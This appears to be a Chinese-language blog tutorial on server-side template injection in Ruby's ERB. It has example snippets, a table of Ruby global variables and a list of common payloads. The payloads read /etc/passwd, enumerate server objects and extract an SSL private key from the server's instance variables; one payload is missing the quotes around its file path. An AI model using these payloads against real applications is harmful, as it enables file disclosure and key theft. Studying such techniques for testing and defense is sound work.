Featured image of post Ruby的ERB模板注入

Ruby的ERB模板注入

Ruby的ERB模板注入

基本语法

  • <%写逻辑脚本(Ruby语法)%>
  • <%=直接输出变量值或运算结果%>
1
2
3
4
5
6
7
8
require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())

这样会输出5和4

如果x可控,即可实现常见的ssti

1
2
3
4
5
6
require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())

还可以进行文件读取

1
2
3
4
5
6
require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('/etc/passwd').read
puts erb_object.result(binding())

枚举当前类的可用方法

1
2
3
4
5
6
require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())

ruby的全局变量

更准确的这个链接globals - Documentation for Ruby 2.4.0

Ruby全局变量 中文释义
$! 错误信息
$@ 错误发生的位置
$0 正在执行的程序的名称
$& 成功匹配的字符串
$/ 输入分隔符,默认为换行符
$\ 输出记录分隔符(print和IO)
$. 上次读取的文件的当前输入行号
$; $-F 默认字段分隔符
$, 输入字符串分隔符,连接多个字符串时用到
$= 不区分大小写
$~ 最后一次匹配数据
$` 最后一个成功匹配的字符串左侧的字符串
$’ 最后一个成功匹配的字符串右侧的字符串
$+ 最后一个括号匹配内容
$1~$9 各组匹配结果
$< ARGF 命令行中给定的文件的虚拟连接文件(如果未给定任何文件,则从$stdin)
$> 打印的默认输出
$_ 从输入设备中读取的最后一行
$* ARGV 命令行参数
$$ 运行此脚本的Ruby的进程号
$? 最后执行的子进程的状态
$: $-I 加载的二进制模块(库)的路径
$“ 数组包含的需要加载的库的名字
$DEBUG $-d 调试标志,由-d开关设置
$LOADED_FEATURES $“的别名
$FILENAME 来自$<的当前输入文件
$LOAD_PATH $:
$stderr 当前标准误差输出
$stdin 当前标准输入
$stdout 当前标准输出
$VERBOSE $-v 详细标志,由-w或-v开关设置
$-0 $/
$-a 只读
$-i 在in-place-edit模式下,此变量保存扩展名
NIL 0本身
ENV 当前环境变量
RUBY_VERSION Ruby版本
RUBY_RELEASE_DATE 发布日期
RUBY_PLATFORM 平台标识符

常用payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<%= 7 * 7 %>
<%= File.open(/etc/passwd).read %>
<%= self %>    //枚举该对象可用的属性及方法
<%= self.class.name %>   //获取self对象的类名
<%= self.methods %>
<%= self.method(:handle_POST).parameters %>  //获取目标所需的具体参数
<%= session.class.name %>
<%= self.instance_variables %>
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>   //提取key值
使用 Hugo 构建
主题 StackJimmy 设计